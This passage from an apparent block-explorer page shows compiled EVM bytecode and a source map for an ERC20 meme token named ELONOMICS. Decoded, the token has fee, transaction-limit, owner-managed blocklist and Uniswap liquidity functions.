118f0576118f0611c5b565b8060051b604051601f19603f8301168101818110858211171561191557611915611c5b565b604052828152858101935084860182860187018a101561193457600080fd5b600095505b8386101561195e5761194a816117af565b855260019590950194938601938601611939565b5098975050505050505050565b60006020828403121561197d57600080fd5b815180151581146112f157600080fd5b6000806000606084860312156119a257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119e8578581018301518582016040015282016119cc565b818111156119fa576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a955784516001600160a01b031683529383019391830191600101611a70565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ac957611ac9611c2f565b500190565b600082611aeb57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115611b2b578160001904821115611b1157611b11611c2f565b80851615611b1e57918102915b93841c9390800290611af5565b509250929050565b60006112f160ff841683600082611b4c57506001610461565b81611b5957506000610461565b8160018114611b6f5760028114611b7957611b95565b6001915050610461565b60ff841115611b8a57611b8a611c2f565b50506001821b610461565b5060208310610133831016604e8410600b8410161715611bb8575081810a610461565b611bc28383611af0565b8060001904821115611bd657611bd6611c2f565b029392505050565b6000816000190483118215151615611bf857611bf8611c2f565b500290565b600082821015611c0f57611c0f611c2f565b500390565b6000600019821415611c2857611c28611c2f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611c8657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220466f47b4f5d0f6711b97540af4ce12355168aa235a60494744479f2247b9ca4064736f6c63430008050033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb14610389578063bf474bed146103a9578063d34628cc146103bf578063dd62ed3e146103df578063e204d2a714610425578063f4b07dfd1461043a57600080fd5b8063751039fc146102ee5780637d1db4a5146103035780638da5cb5b146103195780638f9a55c01461034157806395d89b411461035757600080fd5b806323b872dd116100fd57806323b872dd1461020e578063313ce5671461022e57806331c2d8471461024a5780633bbac5791461026a57806370a08231146102a3578063715018a6146102d957600080fd5b806306fdde0314610145578063095ea7b31461018e5780630faee56f146101be57806310d31fc4146101e257806318160ddd146101f957600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600e81526d22a627a727a6a4a1a99021b7b4b760911b60208201525b60405161018591906119bb565b60405180910390f35b34801561019a57600080fd5b506101ae6101a9366004611873565b610450565b6040519015158152602001610185565b3480156101ca57600080fd5b506101d460125481565b604051908152602001610185565b3480156101ee57600080fd5b506101f7610467565b005b34801561020557600080fd5b506101d46106f9565b34801561021a57600080fd5b506101ae610229366004611832565b61071a565b34801561023a57600080fd5b5060405160098152602001610185565b34801561025657600080fd5b506101f761026536600461189f565b61077e565b34801561027657600080fd5b506101ae6102853660046117bf565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102af57600080fd5b506101d46102be3660046117bf565b6001600160a01b031660009081526001602052604090205490565b3480156102e557600080fd5b506101f7610814565b3480156102fa57600080fd5b506101f7610888565b34801561030f57600080fd5b506101d4600e5481565b34801561032557600080fd5b506000546040516001600160a01b039091168152602001610185565b34801561034d57600080fd5b506101d460105481565b34801561036357600080fd5b50604080518082019091526009815268454c4f4e4f4d49435360b81b6020820152610178565b34801561039557600080fd5b506101ae6103a4366004611873565b61093a565b3480156103b557600080fd5b506101d460115481565b3480156103cb57600080fd5b506101f76103da36600461189f565b610947565b3480156103eb57600080fd5b506101d46103fa3660046117f9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043157600080fd5b506101f76109d9565b34801561044657600080fd5b506101d4600f5481565b600061045d338484610bca565b5060015b92915050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b815260040161049190611a10565b60405180910390fd5b601454600160a01b900460ff16156104ee5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610491565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561053c9030906105296009600a611b33565b61053790633b9aca00611bde565b610bca565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561058a57600080fd5b505afa15801561059e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c291906117dc565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561061f57600080fd5b505afa158015610633573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065791906117dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561069f57600080fd5b505af11580156106b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d791906117dc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006107076009600a611b33565b61071590633b9aca00611bde565b905090565b6000610727848484610cef565b610774843361053785604051806060016040528060288152602001611c8a602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111a4565b5060019392505050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161049190611a10565b60005b8151811015610810576000600460008484815181106107cc576107cc611c45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080881611c14565b9150506107ab565b5050565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161049190611a10565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161049190611a10565b6108be6009600a611b33565b6108cc90633b9aca00611bde565b600e556108db6009600a611b33565b6108e990633b9aca00611bde565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109196009600a611b33565b61092790633b9aca00611bde565b60405190815260200160405180910390a1565b600061045d338484610cef565b6000546001600160a01b031633146109715760405162461bcd60e51b815260040161049190611a10565b60005b81518110156108105760016004600084848151811061099557610995611c45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109d181611c14565b915050610974565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161049190611a10565b601454600160a01b900460ff1615610a575760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610491565b601354600f546001600160a01b039091169063f305d7199047903090600080610a886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610aeb57600080fd5b505af1158015610aff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b24919061198d565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb0919061196b565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c2c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610491565b6001600160a01b038216610c8d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610491565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610491565b6001600160a01b038216610db55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610491565b60008111610e175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610491565b601454600160b01b900460ff161580610e395750601454600160a81b900460ff165b15610e4e57610e498383836111de565b505050565b600080546001600160a01b03858116911614801590610e7b57506000546001600160a01b03848116911614155b15611164576001600160a01b03841660009081526004602052604090205460ff16158015610ec257506001600160a01b03831660009081526004602052604090205460ff16155b610ecb57600080fd5b610ef76064610ef1600a54600d5411610ee657600654610eea565b6008545b8590611272565b906112f8565b6014549091506001600160a01b038581169116148015610f2557506013546001600160a01b03848116911614155b8015610f4a57506001600160a01b03831660009081526003602052604090205460ff16155b1561103257600e54821115610fa15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610491565b60105482610fc4856001600160a01b031660009081526001602052604090205490565b610fce9190611ab6565b111561101c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610491565b600d805490600061102c83611c14565b91905055505b6014546001600160a01b03848116911614801561105857506001600160a01b0384163014155b15611085576110826064610ef1600b54600d541161107857600754610eea565b6009548590611272565b90505b30600090815260016020526040902054601454600160a81b900460ff161580156110bc57506014546001600160a01b038581169116145b80156110d15750601454600160b01b900460ff165b80156110e05750600c54600d54115b801561110557506001600160a01b03851660009081526003602052604090205460ff16155b801561112a57506001600160a01b03841660009081526003602052604090205460ff16155b1561116257601154811115611156576111566111518461114c8460125461133a565b61133a565b61134f565b47611160476114d8565b505b505b6001600160a01b03841660009081526003602052604090205460019060ff161561118f575060009050805b61119d85858585858a611512565b5050505050565b600081848411156111c85760405162461bcd60e51b815260040161049191906119bb565b5060006111d58486611bfd565b95945050505050565b6001600160a01b0383166000908152600160205260409020546112019082611547565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546112309082611589565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611cb283398151915290610ce29085815260200190565b60008261128157506000610461565b600061128d8385611bde565b90508261129a8583611ace565b146112f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610491565b9392505050565b60006112f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e8565b600081831161134957826112f1565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061139757611397611c45565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113eb57600080fd5b505afa1580156113ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142391906117dc565b8160018151811061143657611436611c45565b6001600160a01b03928316602091820292909201015260135461145c9130911684610bca565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611495908590600090869030904290600401611a45565b600060405180830381600087803b1580156114af57600080fd5b505af11580156114c3573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610810573d6000803e3d6000fd5b8115611527576115228684611616565b611533565b61153386858584611681565b61153f86868686611701565b505050505050565b60006112f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a4565b6000806115968385611ab6565b9050838110156112f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610491565b600081836116095760405162461bcd60e51b815260040161049191906119bb565b5060006111d58486611ace565b801561081057306000908152600160205260409020546116369082611589565b30600081815260016020526040908190209290925590516001600160a01b03841690600080516020611cb2833981519152906116759085815260200190565b60405180910390a35050565b6116b182156116905782611692565b835b6001600160a01b03831660009081526001602052604090205490611589565b6001600160a01b038083166000818152600160205260409081902093909355915190861690600080516020611cb2833981519152906116f39087815260200190565b60405180910390a350505050565b6001600160a01b0384166000908152600160205260409020546117249083611547565b6001600160a01b03851660009081526001602052604090205561176961174a8383611547565b6001600160a01b03851660009081526001602052604090205490611589565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611cb28339815191526117a18585611547565b6040519081526020016116f3565b80356117ba81611c71565b919050565b6000602082840312156117d157600080fd5b81356112f181611c71565b6000602082840312156117ee57600080fd5b81516112f181611c71565b6000806040838503121561180c57600080fd5b823561181781611c71565b9150602083013561182781611c71565b809150509250929050565b60008060006060848603121561184757600080fd5b833561185281611c71565b9250602084013561186281611c71565b929592945050506040919091013590565b6000806040838503121561188657600080fd5b823561189181611c71565b946020939093013593505050565b600060208083850312156118b257600080fd5b823567ffffffffffffffff808211156118ca57600080fd5b818501915085601f8301126118de57600080fd5b8135818111156118f0576118f0611c5b565b8060051b604051601f19603f8301168101818110858211171561191557611915611c5b565b604052828152858101935084860182860187018a101561193457600080fd5b600095505b8386101561195e5761194a816117af565b855260019590950194938601938601611939565b5098975050505050505050565b60006020828403121561197d57600080fd5b815180151581146112f157600080fd5b6000806000606084860312156119a257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119e8578581018301518582016040015282016119cc565b818111156119fa576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a955784516001600160a01b031683529383019391830191600101611a70565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ac957611ac9611c2f565b500190565b600082611aeb57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115611b2b578160001904821115611b1157611b11611c2f565b80851615611b1e57918102915b93841c9390800290611af5565b509250929050565b60006112f160ff841683600082611b4c57506001610461565b81611b5957506000610461565b8160018114611b6f5760028114611b7957611b95565b6001915050610461565b60ff841115611b8a57611b8a611c2f565b50506001821b610461565b5060208310610133831016604e8410600b8410161715611bb8575081810a610461565b611bc28383611af0565b8060001904821115611bd657611bd6611c2f565b029392505050565b6000816000190483118215151615611bf857611bf8611c2f565b500290565b600082821015611c0f57611c0f611c2f565b500390565b6000600019821415611c2857611c28611c2f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611c8657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220466f47b4f5d0f6711b97540af4ce12355168aa235a60494744479f2247b9ca4064736f6c63430008050033

Deployed Bytecode Sourcemap

4085:11232:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7787:83;;;;;;;;;;-1:-1:-1;7857:5:0;;;;;;;;;;;;-1:-1:-1;;;7857:5:0;;;;7787:83;;;;;;;:::i;:::-;;;;;;;;8670:186;;;;;;;;;;-1:-1:-1;8670:186:0;;;;;:::i;:::-;;:::i;:::-;;;5138:14:1;;5131:22;5113:41;;5101:2;5086:18;8670:186:0;5068:92:1;5276:57:0;;;;;;;;;;;;;;;;;;;10121:25:1;;;10109:2;10094:18;5276:57:0;10076:76:1;6030:473:0;;;;;;;;;;;;;:::i;:::-;;8064:95;;;;;;;;;;;;;:::i;8864:446::-;;;;;;;;;;-1:-1:-1;8864:446:0;;;;;:::i;:::-;;:::i;7973:83::-;;;;;;;;;;-1:-1:-1;7973:83:0;;4810:1;11284:36:1;;11272:2;11257:18;7973:83:0;11239:87:1;10106:168:0;;;;;;;;;;-1:-1:-1;10106:168:0;;;;;:::i;:::-;;:::i;10282:86::-;;;;;;;;;;-1:-1:-1;10282:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;10353:7:0;10329:4;10353:7;;;:4;:7;;;;;;;;;10282:86;8167:119;;;;;;;;;;-1:-1:-1;8167:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8260:18:0;8233:7;8260:18;;;:9;:18;;;;;;;8167:119;2719:148;;;;;;;;;;;;;:::i;9661:162::-;;;;;;;;;;;;;:::i;5012:58::-;;;;;;;;;;;;;;;;2505:79;;;;;;;;;;-1:-1:-1;2543:7:0;2570:6;2505:79;;-1:-1:-1;;;;;2570:6:0;;;3711:51:1;;3699:2;3684:18;2505:79:0;3666:102:1;5146:60:0;;;;;;;;;;;;;;;;7878:87;;;;;;;;;;-1:-1:-1;7950:7:0;;;;;;;;;;;;-1:-1:-1;;;7950:7:0;;;;7878:87;;8294:192;;;;;;;;;;-1:-1:-1;8294:192:0;;;;;:::i;:::-;;:::i;5213:56::-;;;;;;;;;;;;;;;;9934:164;;;;;;;;;;-1:-1:-1;9934:164:0;;;;;:::i;:::-;;:::i;8494:168::-;;;;;;;;;;-1:-1:-1;8494:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;8627:18:0;;;8600:7;8627:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8494:168;6511:487;;;;;;;;;;;;;:::i;5077:62::-;;;;;;;;;;;;;;;;8670:186;8770:4;8787:39;2138:10;8810:7;8819:6;8787:8;:39::i;:::-;-1:-1:-1;8844:4:0;8670:186;;;;;:::o;6030:473::-;2632:6;;-1:-1:-1;;;;;2632:6:0;2138:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;;;;;;;;;6100:11:::1;::::0;-1:-1:-1;;;6100:11:0;::::1;;;6099:12;6091:48;;;::::0;-1:-1:-1;;;6091:48:0;;9825:2:1;6091:48:0::1;::::0;::::1;9807:21:1::0;9864:2;9844:18;;;9837:30;-1:-1:-1;;;9883:18:1;;;9876:53;9946:18;;6091:48:0::1;9797:173:1::0;6091:48:0::1;6160:15;:104:::0;;-1:-1:-1;;;;;;6160:104:0::1;6211:42;6160:104:::0;;::::1;::::0;;;6277:58:::1;::::0;6294:4:::1;::::0;4869:15:::1;4810:1;4869:2;:15;:::i;:::-;4853:31;::::0;:13:::1;:31;:::i;:::-;6277:8;:58::i;:::-;6382:15;;;;;;;;;-1:-1:-1::0;;;;;6382:15:0::1;-1:-1:-1::0;;;;;6382:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6364:55:0::1;;6442:4;6462:15;;;;;;;;;-1:-1:-1::0;;;;;6462:15:0::1;-1:-1:-1::0;;;;;6462:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6364:131;::::0;-1:-1:-1;;;;;;6364:131:0::1;::::0;;;;;;-1:-1:-1;;;;;4003:15:1;;;6364:131:0::1;::::0;::::1;3985:34:1::0;4055:15;;4035:18;;;4028:43;3920:18;;6364:131:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6348:13;:147:::0;;-1:-1:-1;;;;;;6348:147:0::1;-1:-1:-1::0;;;;;6348:147:0;;;::::1;::::0;;;::::1;::::0;;6030:473::o;8064:95::-;8117:7;4869:15;4810:1;4869:2;:15;:::i;:::-;4853:31;;:13;:31;:::i;:::-;8137:14;;8064:95;:::o;8864:446::-;8996:4;9013:36;9023:6;9031:9;9042:6;9013:9;:36::i;:::-;9060:220;9083:6;2138:10;9131:138;9187:6;9131:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9131:19:0;;;;;;:11;:19;;;;;;;;2138:10;9131:33;;;;;;;;;;:37;:138::i;9060:220::-;-1:-1:-1;9298:4:0;8864:446;;;;;:::o;10106:168::-;2632:6;;-1:-1:-1;;;;;2632:6:0;2138:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;10181:6:::1;10176:91;10197:6;:13;10193:1;:17;10176:91;;;10250:5;10232:4;:15;10237:6;10244:1;10237:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10232:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10232:15:0;:23;;-1:-1:-1;;10232:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10212:3;::::1;::::0;::::1;:::i;:::-;;;;10176:91;;;;10106:168:::0;:::o;2719:148::-;2632:6;;-1:-1:-1;;;;;2632:6:0;2138:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;2826:1:::1;2810:6:::0;;2789:40:::1;::::0;-1:-1:-1;;;;;2810:6:0;;::::1;::::0;2789:40:::1;::::0;2826:1;;2789:40:::1;2857:1;2840:19:::0;;-1:-1:-1;;;;;;2840:19:0::1;::::0;;2719:148::o;9661:162::-;2632:6;;-1:-1:-1;;;;;2632:6:0;2138:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;4869:15:::1;4810:1;4869:2;:15;:::i;:::-;4853:31;::::0;:13:::1;:31;:::i;:::-;9715:12;:22:::0;4869:15:::1;4810:1;4869:2;:15;:::i;:::-;4853:31;::::0;:13:::1;:31;:::i;:::-;9748:14;:24:::0;9788:27:::1;4869:15;4810:1;4869:2;:15;:::i;:::-;4853:31;::::0;:13:::1;:31;:::i;:::-;9788:27;::::0;10121:25:1;;;10109:2;10094:18;9788:27:0::1;;;;;;;9661:162::o:0;8294:192::-;8397:4;8414:42;2138:10;8438:9;8449:6;8414:9;:42::i;9934:164::-;2632:6;;-1:-1:-1;;;;;2632:6:0;2138:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;10008:6:::1;10003:88;10024:5;:12;10020:1;:16;10003:88;;;10075:4;10058;:14;10063:5;10069:1;10063:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10058:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10058:14:0;:21;;-1:-1:-1;;10058:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10038:3;::::1;::::0;::::1;:::i;:::-;;;;10003:88;;6511:487:::0;2632:6;;-1:-1:-1;;;;;2632:6:0;2138:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;6582:11:::1;::::0;-1:-1:-1;;;6582:11:0;::::1;;;6581:12;6573:48;;;::::0;-1:-1:-1;;;6573:48:0;;9825:2:1;6573:48:0::1;::::0;::::1;9807:21:1::0;9864:2;9844:18;;;9837:30;-1:-1:-1;;;9883:18:1;;;9876:53;9946:18;;6573:48:0::1;9797:173:1::0;6573:48:0::1;6634:15;::::0;6738::::1;::::0;-1:-1:-1;;;;;6634:15:0;;::::1;::::0;:31:::1;::::0;6673:21:::1;::::0;6718:4:::1;::::0;6634:15:::1;::::0;6800:7:::1;2543::::0;2570:6;-1:-1:-1;;;;;2570:6:0;;2505:79;6800:7:::1;6634:214;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6634:214:0;;;-1:-1:-1;;;;;4720:15:1;;;6634:214:0::1;::::0;::::1;4702:34:1::0;4752:18;;;4745:34;;;;4795:18;;;4788:34;;;;4838:18;;;4831:34;4902:15;;;4881:19;;;4874:44;6822:15:0::1;4934:19:1::0;;;4927:35;4636:19;;6634:214:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6868:13:0::1;::::0;6899:15:::1;::::0;6861:71:::1;::::0;-1:-1:-1;;;6861:71:0;;-1:-1:-1;;;;;6899:15:0;;::::1;6861:71;::::0;::::1;4256:51:1::0;-1:-1:-1;;4323:18:1;;;4316:34;6868:13:0;::::1;::::0;-1:-1:-1;6861:29:0::1;::::0;4229:18:1;;6861:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6943:11:0::1;:18:::0;;-1:-1:-1;;;;6972:18:0;-1:-1:-1;;;6972:18:0;;;6511:487::o;9318:335::-;-1:-1:-1;;;;;9411:19:0;;9403:68;;;;-1:-1:-1;;;9403:68:0;;9420:2:1;9403:68:0;;;9402:21:1;9459:2;9439:18;;;9432:30;9498:34;9478:18;;;9471:62;-1:-1:-1;;;9549:18:1;;;9542:34;9593:19;;9403:68:0;9392:226:1;9403:68:0;-1:-1:-1;;;;;9490:21:0;;9482:68;;;;-1:-1:-1;;;9482:68:0;;6727:2:1;9482:68:0;;;6709:21:1;6766:2;6746:18;;;6739:30;6805:34;6785:18;;;6778:62;-1:-1:-1;;;6856:18:1;;;6849:32;6898:19;;9482:68:0;6699:224:1;9482:68:0;-1:-1:-1;;;;;9561:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9613:32;;10121:25:1;;;9613:32:0;;10094:18:1;9613:32:0;;;;;;;;9318:335;;;:::o;12353:2961::-;-1:-1:-1;;;;;12475:30:0;;12467:80;;;;-1:-1:-1;;;12467:80:0;;8659:2:1;12467:80:0;;;8641:21:1;8698:2;8678:18;;;8671:30;8737:34;8717:18;;;8710:62;-1:-1:-1;;;8788:18:1;;;8781:35;8833:19;;12467:80:0;8631:227:1;12467:80:0;-1:-1:-1;;;;;12566:28:0;;12558:76;;;;-1:-1:-1;;;12558:76:0;;5969:2:1;12558:76:0;;;5951:21:1;6008:2;5988:18;;;5981:30;6047:34;6027:18;;;6020:62;-1:-1:-1;;;6098:18:1;;;6091:33;6141:19;;12558:76:0;5941:225:1;12558:76:0;12672:1;12653:16;:20;12645:74;;;;-1:-1:-1;;;12645:74:0;;8249:2:1;12645:74:0;;;8231:21:1;8288:2;8268:18;;;8261:30;8327:34;8307:18;;;8300:62;-1:-1:-1;;;8378:18:1;;;8371:39;8427:19;;12645:74:0;8221:231:1;12645:74:0;12735:11;;-1:-1:-1;;;12735:11:0;;;;12734:12;;:22;;-1:-1:-1;12750:6:0;;-1:-1:-1;;;12750:6:0;;;;12734:22;12730:142;;;12773:66;12788:16;12806:14;12822:16;12773:14;:66::i;:::-;12353:2961;;;:::o;12730:142::-;12882:17;2570:6;;-1:-1:-1;;;;;12918:27:0;;;2570:6;;12918:27;;;;:56;;-1:-1:-1;2543:7:0;2570:6;-1:-1:-1;;;;;12949:25:0;;;2570:6;;12949:25;;12918:56;12914:2127;;;-1:-1:-1;;;;;13000:22:0;;;;;;:4;:22;;;;;;;;12999:23;:48;;;;-1:-1:-1;;;;;;13027:20:0;;;;;;:4;:20;;;;;;;;13026:21;12999:48;12991:57;;;;;;13075:218;13289:3;13075:191;13149:15;;13137:9;;:27;13136:111;;13233:14;;13136:111;;;13193:12;;13136:111;13075:16;;:38;:191::i;:::-;:213;;:218::i;:::-;13352:13;;13063:230;;-1:-1:-1;;;;;;13332:33:0;;;13352:13;;13332:33;:96;;;;-1:-1:-1;13412:15:0;;-1:-1:-1;;;;;13386:42:0;;;13412:15;;13386:42;;13332:96;:149;;;;-1:-1:-1;;;;;;13450:31:0;;;;;;:15;:31;;;;;;;;13449:32;13332:149;13310:503;;;13544:12;;13524:16;:32;;13516:70;;;;-1:-1:-1;;;13516:70:0;;6373:2:1;13516:70:0;;;6355:21:1;6412:2;6392:18;;;6385:30;6451:27;6431:18;;;6424:55;6496:18;;13516:70:0;6345:175:1;13516:70:0;13683:14;;13663:16;13635:25;13645:14;-1:-1:-1;;;;;8260:18:0;8233:7;8260:18;;;:9;:18;;;;;;;8167:119;13635:25;:44;;;;:::i;:::-;:62;;13605:162;;;;-1:-1:-1;;;13605:162:0;;9065:2:1;13605:162:0;;;9047:21:1;9104:2;9084:18;;;9077:30;9143:28;9123:18;;;9116:56;9189:18;;13605:162:0;9037:176:1;13605:162:0;13786:9;:11;;;:9;:11;;;:::i;:::-;;;;;;13310:503;13851:13;;-1:-1:-1;;;;;13833:31:0;;;13851:13;;13833:31;:68;;;;-1:-1:-1;;;;;;13868:33:0;;13896:4;13868:33;;13833:68;13829:366;;;13934:245;14175:3;13934:214;14016:16;;14004:9;;:28;14003:122;;14110:15;;14003:122;;;14065:13;;13934:16;;:42;:214::i;:245::-;13922:257;;13829:366;14260:4;14211:28;8260:18;;;:9;:18;;;;;;14304:6;;-1:-1:-1;;;14304:6:0;;;;14303:7;:59;;;;-1:-1:-1;14349:13:0;;-1:-1:-1;;;;;14331:31:0;;;14349:13;;14331:31;14303:59;:91;;;;-1:-1:-1;14383:11:0;;-1:-1:-1;;;14383:11:0;;;;14303:91;:142;;;;;14427:18;;14415:9;;:30;14303:142;:197;;;;-1:-1:-1;;;;;;14467:33:0;;;;;;:15;:33;;;;;;;;14466:34;14303:197;:250;;;;-1:-1:-1;;;;;;14522:31:0;;;;;;:15;:31;;;;;;;;14521:32;14303:250;14281:749;;;14614:17;;14591:20;:40;14588:215;;;14656:127;14699:61;14703:16;14721:38;14725:20;14747:11;;14721:3;:38::i;:::-;14699:3;:61::i;:::-;14656:16;:127::i;:::-;14868:21;14960:35;14973:21;14960:12;:35::i;:::-;14569:461;14281:749;12976:2065;12914:2127